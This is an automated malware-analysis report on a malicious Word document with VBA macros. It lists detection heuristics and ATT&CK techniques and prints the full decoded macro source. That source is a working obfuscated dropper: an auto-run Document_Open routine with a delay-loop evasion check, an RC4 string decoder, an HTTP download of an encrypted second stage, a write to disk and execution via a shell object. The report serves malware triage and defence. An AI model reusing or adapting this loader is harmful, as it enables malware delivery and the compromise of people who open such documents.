MALICIOUS
320
Risk Score
Malware Insights
MITRE ATT&CK
T1566.001 Spearphishing Attachment
T1059.005 Visual Basic
T1140 Deobfuscate/Decode Files or Information
The sample is a malicious OOXML document containing obfuscated VBA macros. The document body acts as a lure, instructing the user to 'Enable Editing' and 'Enable Content' to view the protected document. Heuristics indicate an obfuscated auto-exec loader that uses CreateObject and execution sinks, strongly suggesting it downloads and executes a second-stage payload. The ClamAV detection name 'Doc.Malware.Chronos-6897935-0' further confirms its malicious nature.
Heuristics 10
-
ClamAV: Doc.Malware.Chronos-6897935-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Chronos-6897935-0
-
VBA project inside OOXML medium 5 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
Set LeufCdy = CreateObject(Yp4yITuMaTLs3i(Chr(38) + Chr(161) + Chr(40) + Chr(208) + Chr(161) + Chr(171) + Chr(74) + Chr(153) + Chr(163) + Chr(27) + Chr(243) + Chr(188) + Chr(107) + Chr(157) + Chr(208) + Chr(26) + Chr(115) + Chr(201) + Chr(253) + Chr(241), "WFBz1EgBb")) -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set LeufCdy = CreateObject(Yp4yITuMaTLs3i(Chr(38) + Chr(161) + Chr(40) + Chr(208) + Chr(161) + Chr(171) + Chr(74) + Chr(153) + Chr(163) + Chr(27) + Chr(243) + Chr(188) + Chr(107) + Chr(157) + Chr(208) + Chr(26) + Chr(115) + Chr(201) + Chr(253) + Chr(241), "WFBz1EgBb")) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Sub Document_Open() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
BYx6OEUizZ1 = Environ(Yp4yITuMaTLs3i(Chr(61) + Chr(27) + Chr(129) + Chr(176) + Chr(2) + Chr(54) + Chr(222), "FQBZP")) & "\" & VdooXOAR & Yp4yITuMaTLs3i(Chr(55) + Chr(231) + Chr(45) + Chr(244), "Xl2oA2s5xk") -
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 12612 bytes |
SHA-256: 79a38358c2aaaff5faad069b3b5b477568bf92fc54bdf9584d420f86d4959b55 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
88 of 170 identifiers look randomly generated (e.g. 'HeJg4b9bcK57tUTqgWj09zy3sVU') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Option Explicit Sub XZUjpjcZWEZ() Dim OkLaQ9TOeF As Long, HoggZFPOWVrWKlMV As Long OkLaQ9TOeF = 97 HoggZFPOWVrWKlMV = 59 If OkLaQ9TOeF + HoggZFPOWVrWKlMV > 2 Then HoggZFPOWVrWKlMV = OkLaQ9TOeF + 50 Else MsgBox 51 End If Join CNwwlNylpiY, 94 GetAllSettings 68, 21 DateSerial 64, 61, 16 MoahFMP3hkC = LCase(79) If CDate(14) = True Then XNsnE0L62WSz7TI = 8694 If CDbl(44) = True Then EgCTupXnop5 = 94 If CByte(16) = True Then OmrpKOClOwc = 540 Command Weekday 34 Partition 77, 20, 67, 52 WeekdayName 44 FreeFile 66 Month 28 Log 69 AppActivate 45 If CCur(63) = True Then MrB5S2Q84H7n5Ut = 998 ChDir 55 If Abs(59) = 22 Then RvB3RZnwy2hQ = 6071 Q9fSlxQ = QBColor(86) If IsNumeric(66) = True Then J21YSSYqPmD = 27 DatePart "PxuaAjTjxxzxHJ", 45 Sqr 46 App.LogEvent "TkFh4JN2" DoEvents Tan 42 Beep DateDiff "UFnbr", 52, 96 GetSetting 10, 24, 82 Year 7 Choose 6, BtTOWVrWKlMV Dim F3WnaHJHlb As Long, Y7rtvE As Long F3WnaHJHlb = 2 Y7rtvE = 94 If F3WnaHJHlb + Y7rtvE > 2 Then Y7rtvE = F3WnaHJHlb + 17 Else MsgBox 49 End If End Sub Sub Uzt8Nm() Dim NC0RmF7kXqo As Long, VHDNYpWKs As Long NC0RmF7kXqo = 48 VHDNYpWKs = 30 If NC0RmF7kXqo + VHDNYpWKs > 2 Then VHDNYpWKs = NC0RmF7kXqo + 12 Else MsgBox 39 End If Dim BYx6OEUizZ1 As String, LeufCdy As Object, H0dpC6IWoie3cO As Integer Dim B3sVUqHL As Long, Cw804c As Long B3sVUqHL = 89 Cw804c = 60 If B3sVUqHL + Cw804c > 2 Then Cw804c = B3sVUqHL + 47 Else MsgBox 61 End If BYx6OEUizZ1 = Environ(Yp4yITuMaTLs3i(Chr(61) + Chr(27) + Chr(129) + Chr(176) + Chr(2) + Chr(54) + Chr(222), "FQBZP")) & "\" & VdooXOAR & Yp4yITuMaTLs3i(Chr(55) + Chr(231) + Chr(45) + Chr(244), "Xl2oA2s5xk") Dim JQLJfFLMVurh3Qvg8mXRid As Long, GGL0VG8 As Long JQLJfFLMVurh3Qvg8mXRid = 45 GGL0VG8 = 67 If JQLJfFLMVurh3Qvg8mXRid + GGL0VG8 > 2 Then GGL0VG8 = JQLJfFLMVurh3Qvg8mXRid + 28 Else MsgBox 43 End If Set LeufCdy = CreateObject(Yp4yITuMaTLs3i(Chr(38) + Chr(161) + Chr(40) + Chr(208) + Chr(161) + Chr(171) + Chr(74) + Chr(153) + Chr(163) + Chr(27) + Chr(243) + Chr(188) + Chr(107) + Chr(157) + Chr(208) + Chr(26) + Chr(115) + Chr(201) + Chr(253) + Chr(241), "WFBz1EgBb")) Dim RpB8aI2cB As Long, H0N6nu5AU As Long RpB8aI2cB = 5 H0N6nu5AU = 16 If RpB8aI2cB + H0N6nu5AU > 2 Then H0N6nu5AU = RpB8aI2cB + 8 Else MsgBox 31 End If LeufCdy.Open Yp4yITuMaTLs3i(Chr(134) + Chr(138) + Chr(73), "NlcxdqCCDUL"), Yp4yITuMaTLs3i(Chr(43) + Chr(210) + Chr(70) + Chr(56) + Chr(21) + Chr(56) + Chr(168) + Chr(153) + Chr(212) + Chr(135) + Chr(48) + Chr(167) + Chr(210) + Chr(135) + Chr(131) + Chr(207) + Chr(55) + Chr(104) + Chr(186) + Chr(9) + Chr(6) + Chr(58) + Chr(128) + Chr(53) + Chr(176) + Chr(241) + Chr(136), "OKS3g3WnaHJHl"), False Dim AFXBn As Long, Tm4PvDXs4ILEMN3xp As Long AFXBn = 87 Tm4PvDXs4ILEMN3xp = 39 If AFXBn + Tm4PvDXs4ILEMN3xp > 2 Then Tm4PvDXs4ILEMN3xp = AFXBn + 11 Else MsgBox 42 End If LeufCdy.setRequestHeader Yp4yITuMaTLs3i(Chr(97) + Chr(76) + Chr(51) + Chr(166) + Chr(156) + Chr(134) + Chr(60) + Chr(131) + Chr(55) + Chr(219), "MqPU3omwe"), Yp4yITuMaTLs3i(Chr(208) + Chr(246) + Chr(68) + Chr(14) + Chr(178) + Chr(247) + Chr(75) + Chr(172) + Chr(219) + Chr(197) + Chr(106), "OVQpJVkPTXJ") LeufCdy.send If LeufCdy.Status = 200 Then Dim MZfqPU3 As Long, LGFYbYPFUqf32tghEly As Long MZfqPU3 = 65 LGFYbYPFUqf32tghEly = 78 If MZfqPU3 + LGFYbYPFUqf32tghEly > 2 Then LGFYbYPFUqf32tghEly = MZfqPU3 + 92 Else MsgBox 51 End If H0dpC6IWoie3cO = FreeFile Open BYx6OEUizZ1 For Binary Access Write Lock Write As #H0dpC6IWoie3cO Put #H0dpC6IWoie3cO, , Yp4yITuMaTLs3i(StrConv(LeufCdy.ResponseBody, vbUnicode), Yp4yITuMaTLs3i(Chr(106) + Chr(20) + Chr(243) + Chr(88) + Chr(231) + Chr(245) + Chr(250) + Chr(141) + Chr(124), "E8bafQ5a5IRo")) Close #H0dpC6IWoie3cO Dim ExusvcrL As Long, MoYon0UeRJ9 As Long ExusvcrL = 83 MoYon0UeRJ9 = 52 If ExusvcrL + MoYon0UeRJ9 > 2 Then MoYon0UeRJ9 = ExusvcrL + 72 Else MsgBox 83 End If Dnyh6 1 Dim UtmkQIuWS As Long, J5O5a2jfQsW5d As Long UtmkQIuWS = 10 J5O5a2jfQsW5d = 24 If UtmkQIuWS + J5O5a2jfQsW5d > 2 Then J5O5a2jfQsW5d = UtmkQIuWS + 56 Else MsgBox 8 End If CreateObject(Yp4yITuMaTLs3i(Chr(64) + Chr(200) + Chr(255) + Chr(207) + Chr(21) + Chr(202) + Chr(148) + Chr(193) + Chr(141) + Chr(9) + Chr(156) + Chr(254) + Chr(180), "FFUqf3H7O4e")).Run """" & BYx6OEUizZ1 & """" Dim HeJg4b9bcK57tUTqgWj09zy3sVU As Long, Jg4b9bcK57tUTqgW As Long HeJg4b9bcK57tUTqgWj09zy3sVU = 23 Jg4b9bcK57tUTqgW = 59 If HeJg4b9bcK57tUTqgWj09zy3sVU + Jg4b9bcK57tUTqgW > 2 Then Jg4b9bcK57tUTqgW = HeJg4b9bcK57tUTqgWj09zy3sVU + 97 Else MsgBox 35 End If End If Dim SLx0rFV As Long, NSyHzRwq As Long SLx0rFV = 55 NSyHzRwq = 63 If SLx0rFV + NSyHzRwq > 2 Then NSyHzRwq = SLx0rFV + 13 Else MsgBox 63 End If Set LeufCdy = Nothing Dim KQgh1iVdB As Long, YBTY As Long KQgh1iVdB = 60 YBTY = 96 If KQgh1iVdB + YBTY > 2 Then YBTY = KQgh1iVdB + 13 Else MsgBox 92 End If End Sub Function Yp4yITuMaTLs3i(ByVal Tb7rPv As String, ByVal TlJ8VNU0fU As String) As String Dim PJDDXMV3OwkL As Long, IJLN46kC6Lj As Long PJDDXMV3OwkL = 26 IJLN46kC6Lj = 71 If PJDDXMV3OwkL + IJLN46kC6Lj > 2 Then IJLN46kC6Lj = PJDDXMV3OwkL + 61 Else MsgBox 18 End If On Error Resume Next Dim XjBQbJbgoAFJ9k3 As Long, CLyvTWoOU As Long XjBQbJbgoAFJ9k3 = 33 CLyvTWoOU = 77 If XjBQbJbgoAFJ9k3 + CLyvTWoOU > 2 Then CLyvTWoOU = XjBQbJbgoAFJ9k3 + 46 Else MsgBox 66 End If Dim VR1ixs9M2(0 To 255) As Integer, K0lFWRPWVGpr As Long, ABVSQ05RFkt8JFWB As Long, DUizZ1GUGC As Long, SgO5CVtxZ() As Byte, NUTlK() As Byte, Yr6IWoie3cO As Byte Dim DNqCUWxerZt As Long, THXWy8lSlD As Long DNqCUWxerZt = 24 THXWy8lSlD = 33 If DNqCUWxerZt + THXWy8lSlD > 2 Then THXWy8lSlD = DNqCUWxerZt + 78 Else MsgBox 91 End If SgO5CVtxZ() = StrConv(TlJ8VNU0fU, vbFromUnicode) Dim NuBdt0rvFTX As Long, QnmEsZ4UPOb85 As Long NuBdt0rvFTX = 64 QnmEsZ4UPOb85 = 85 If NuBdt0rvFTX + QnmEsZ4UPOb85 > 2 Then QnmEsZ4UPOb85 = NuBdt0rvFTX + 96 Else MsgBox 88 End If For K0lFWRPWVGpr = 0 To 255 VR1ixs9M2(K0lFWRPWVGpr) = K0lFWRPWVGpr Next K0lFWRPWVGpr K0lFWRPWVGpr = 0 ABVSQ05RFkt8JFWB = 0 DUizZ1GUGC = 0 For K0lFWRPWVGpr = 0 To 255 ABVSQ05RFkt8JFWB = (ABVSQ05RFkt8JFWB + VR1ixs9M2(K0lFWRPWVGpr) + SgO5CVtxZ(K0lFWRPWVGpr Mod Len(TlJ8VNU0fU))) Mod 256 Yr6IWoie3cO = VR1ixs9M2(K0lFWRPWVGpr) VR1ixs9M2(K0lFWRPWVGpr) = VR1ixs9M2(ABVSQ05RFkt8JFWB) VR1ixs9M2(ABVSQ05RFkt8JFWB) = Yr6IWoie3cO Next K0lFWRPWVGpr K0lFWRPWVGpr = 0 ABVSQ05RFkt8JFWB = 0 DUizZ1GUGC = 0 NUTlK() = StrConv(Tb7rPv, vbFromUnicode) For K0lFWRPWVGpr = 0 To Len(Tb7rPv) ABVSQ05RFkt8JFWB = (ABVSQ05RFkt8JFWB + 1) Mod 256 DUizZ1GUGC = (DUizZ1GUGC + VR1ixs9M2(ABVSQ05RFkt8JFWB)) Mod 256 Yr6IWoie3cO = VR1ixs9M2(ABVSQ05RFkt8JFWB) VR1ixs9M2(ABVSQ05RFkt8JFWB) = VR1ixs9M2(DUizZ1GUGC) VR1ixs9M2(DUizZ1GUGC) = Yr6IWoie3cO NUTlK(K0lFWRPWVGpr) = NUTlK(K0lFWRPWVGpr) Xor (VR1ixs9M2((VR1ixs9M2(ABVSQ05RFkt8JFWB) + VR1ixs9M2(DUizZ1GUGC)) Mod 256)) Next K0lFWRPWVGpr Dim AydhuIcDt As Long, BFMzp7UEQp3m As Long AydhuIcDt = 50 BFMzp7UEQp3m = 27 If AydhuIcDt + BFMzp7UEQp3m > 2 Then BFMzp7UEQp3m = AydhuIcDt + 45 Else MsgBox 90 End If Yp4yITuMaTLs3i = StrConv(NUTlK, vbUnicode) Dim BR5JJjCsaw As Long, LRlw09 As Long BR5JJjCsaw = 92 LRlw09 = 74 If BR5JJjCsaw + LRlw09 > 2 Then LRlw09 = BR5JJjCsaw + 56 Else MsgBox 82 End If End Function Function VdooXOAR() As String Dim P8XUnE8F3LEe4v As Long, TTaiCO As Long P8XUnE8F3LEe4v = 37 TTaiCO = 68 If P8XUnE8F3LEe4v + TTaiCO > 2 Then TTaiCO = P8XUnE8F3LEe4v + 20 Else MsgBox 19 End If Dim J4mxizWSh() As Byte, G0Ji26kVdbRVH() As Byte, WpHN7foU As Long, PBNJtCf As Long, M8u4EJ7OjmLH7 As String, RvQtaNpmQ7 As String, GumBxahn As Long Dim RJ5Mc As Long, QTC8vmsGzN As Long RJ5Mc = 2 QTC8vmsGzN = 23 If RJ5Mc + QTC8vmsGzN > 2 Then QTC8vmsGzN = RJ5Mc + 11 Else MsgBox 46 End If GumBxahn = 0 Dim SFkHYLXyU40n As Long, PMUmHLRPabWKtCTP0 As Long SFkHYLXyU40n = 15 PMUmHLRPabWKtCTP0 = 37 If SFkHYLXyU40n + PMUmHLRPabWKtCTP0 > 2 Then PMUmHLRPabWKtCTP0 = SFkHYLXyU40n + 43 Else MsgBox 71 End If ONEmuct3u6Enh: Dim KSRKk5KwS As Long, IcUyzvlJ As Long KSRKk5KwS = 1 IcUyzvlJ = 50 If KSRKk5KwS + IcUyzvlJ > 2 Then IcUyzvlJ = KSRKk5KwS + 2 Else MsgBox 23 End If Randomize RvQtaNpmQ7 = Int(30 * Rnd) If RvQtaNpmQ7 < 4 Then GoTo ONEmuct3u6Enh GumBxahn = RvQtaNpmQ7 If GumBxahn > 0& Then Dim NsBU3JPSSArS As Long, QBjIZoQbkZl As Long NsBU3JPSSArS = 79 QBjIZoQbkZl = 15 If NsBU3JPSSArS + QBjIZoQbkZl > 2 Then QBjIZoQbkZl = NsBU3JPSSArS + 9 Else MsgBox 53 End If M8u4EJ7OjmLH7 = Yp4yITuMaTLs3i(Chr(104) + Chr(188) + Chr(117) + Chr(134) + Chr(179) + Chr(107) + Chr(185) + Chr(32) + Chr(102) + Chr(30), "JUSYO") Randomize J4mxizWSh = M8u4EJ7OjmLH7 WpHN7foU = Len(M8u4EJ7OjmLH7) - 1& GumBxahn = (GumBxahn * 2&) - 1& ReDim G0Ji26kVdbRVH(GumBxahn) As Byte Dim OoAW4mLq4e As Long, WJzNOYTdiCO1CL6l As Long OoAW4mLq4e = 31 WJzNOYTdiCO1CL6l = 7 If OoAW4mLq4e + WJzNOYTdiCO1CL6l > 2 Then WJzNOYTdiCO1CL6l = OoAW4mLq4e + 7 Else MsgBox 59 End If For PBNJtCf = 0& To GumBxahn Step 2& G0Ji26kVdbRVH(PBNJtCf) = J4mxizWSh(CLng(WpHN7foU * Rnd) * 2&) Next Dim TMdYTrfynIseN As Long, TGmtE3GzS82l9 As Long TMdYTrfynIseN = 25 TGmtE3GzS82l9 = 81 If TMdYTrfynIseN + TGmtE3GzS82l9 > 2 Then TGmtE3GzS82l9 = TMdYTrfynIseN + 84 Else MsgBox 47 End If End If Dim WJF8uwi3Pr7vToz As Long, CcZoZlukBAl As Long WJF8uwi3Pr7vToz = 52 CcZoZlukBAl = 71 If WJF8uwi3Pr7vToz + CcZoZlukBAl > 2 Then CcZoZlukBAl = WJF8uwi3Pr7vToz + 61 Else MsgBox 18 End If VdooXOAR = G0Ji26kVdbRVH Dim Vf4DSZt As Long, BLzpqLhmF014jm As Long Vf4DSZt = 53 BLzpqLhmF014jm = 68 If Vf4DSZt + BLzpqLhmF014jm > 2 Then BLzpqLhmF014jm = Vf4DSZt + 71 Else MsgBox 89 End If End Function Sub Dnyh6(C2GOyuITB As Long) Dim JGekhGlQpmni As Long, PkBAlK7zN9 As Long JGekhGlQpmni = 89 PkBAlK7zN9 = 7 If JGekhGlQpmni + PkBAlK7zN9 > 2 Then PkBAlK7zN9 = JGekhGlQpmni + 8 Else MsgBox 5 End If Dim CJzg5PxlYG As Long Dim GE1CHeI6iC98NpvN As Long, O6057O As Long GE1CHeI6iC98NpvN = 60 O6057O = 96 If GE1CHeI6iC98NpvN + O6057O > 2 Then O6057O = GE1CHeI6iC98NpvN + 13 Else MsgBox 92 End If CJzg5PxlYG = Timer + C2GOyuITB Do While Timer < CJzg5PxlYG DoEvents Loop Dim Noq2p As Long, Pq8c As Long Noq2p = 19 Pq8c = 72 If Noq2p + Pq8c > 2 Then Pq8c = Noq2p + 11 Else MsgBox 70 End If End Sub Sub Document_Open() Dim YVTseaX2LBdr As Long, NaKVG6Niw As Long YVTseaX2LBdr = 67 NaKVG6Niw = 76 If YVTseaX2LBdr + NaKVG6Niw > 2 Then NaKVG6Niw = YVTseaX2LBdr + 48 Else MsgBox 34 End If Dim IaTfUxASVUrjLFukx As Long, GouWiKVFB8Qo As Long, YpgOrNvDX6P8xiFs As Long Dim IUb2AN3bRSuf3 As Long, PMFy2mgp8aaqwzy9 As Long IUb2AN3bRSuf3 = 10 PMFy2mgp8aaqwzy9 = 48 If IUb2AN3bRSuf3 + PMFy2mgp8aaqwzy9 > 2 Then PMFy2mgp8aaqwzy9 = IUb2AN3bRSuf3 + 59 Else MsgBox 74 End If IaTfUxASVUrjLFukx = 916281782: GouWiKVFB8Qo = 0: YpgOrNvDX6P8xiFs = 0 Dim KAdds2VTseaX2LB As Long, GpuXdKVG6Niw As Long KAdds2VTseaX2LB = 38 GpuXdKVG6Niw = 18 If KAdds2VTseaX2LB + GpuXdKVG6Niw > 2 Then GpuXdKVG6Niw = KAdds2VTseaX2LB + 78 Else MsgBox 69 End If For GouWiKVFB8Qo = 1 To IaTfUxASVUrjLFukx YpgOrNvDX6P8xiFs = YpgOrNvDX6P8xiFs + 1 Next GouWiKVFB8Qo Dim Yly8 As Long, SOrWSN9AFVZsx As Long Yly8 = 63 SOrWSN9AFVZsx = 14 If Yly8 + SOrWSN9AFVZsx > 2 Then SOrWSN9AFVZsx = Yly8 + 36 Else MsgBox 24 End If If YpgOrNvDX6P8xiFs = IaTfUxASVUrjLFukx Then Dim HD13RxqcviA2 As Long, OgYUd35c As Long HD13RxqcviA2 = 23 OgYUd35c = 83 If HD13RxqcviA2 + OgYUd35c > 2 Then OgYUd35c = HD13RxqcviA2 + 1 Else MsgBox 2 End If Uzt8Nm Dim TbRWCI0rDZkAu As Long, K0kFVSKlnOP5 As Long TbRWCI0rDZkAu = 47 K0kFVSKlnOP5 = 62 If TbRWCI0rDZkAu + K0kFVSKlnOP5 > 2 Then K0kFVSKlnOP5 = TbRWCI0rDZkAu + 65 Else MsgBox 83 End If Else Dim ThIBRXCQN As Long, Im7cLiCdflH2 As Long ThIBRXCQN = 23 Im7cLiCdflH2 = 62 If ThIBRXCQN + Im7cLiCdflH2 > 2 Then Im7cLiCdflH2 = ThIBRXCQN + 17 Else MsgBox 26 End If XZUjpjcZWEZ Dim KojAk8Go3bM As Long, ELW1YTYVylD9 As Long KojAk8Go3bM = 92 ELW1YTYVylD9 = 76 If KojAk8Go3bM + ELW1YTYVylD9 > 2 Then ELW1YTYVylD9 = KojAk8Go3bM + 24 Else MsgBox 80 End If End If Dim Upb1X12U As Long, SPj4T8xl As Long Upb1X12U = 14 SPj4T8xl = 12 If Upb1X12U + SPj4T8xl > 2 Then SPj4T8xl = Upb1X12U + 43 Else MsgBox 50 End If End Sub |
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 32256 bytes |
SHA-256: 032f353ad90a78648ee519a6d4c7a33d7ab5ba56086b3e95ae81e1c4a4efdc91 |
|||
|
Detection
ClamAV:
Doc.Malware.Chronos-6897935-0
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.